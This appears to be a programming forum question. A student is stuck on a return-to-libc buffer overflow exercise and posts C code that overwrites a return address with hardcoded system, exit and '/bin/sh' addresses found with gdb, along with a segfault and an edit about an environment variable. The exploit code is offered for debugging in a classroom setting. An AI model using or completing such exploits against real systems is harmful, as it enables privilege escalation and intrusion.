I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Using gdb, I've been able to determine the following:
- Address for "system": 0x4c4ab0
- Address for "exit": 0x4ba520
- The string "/bin/sh" resides in memory at: 0xbfffff13
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B???: command not found
Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
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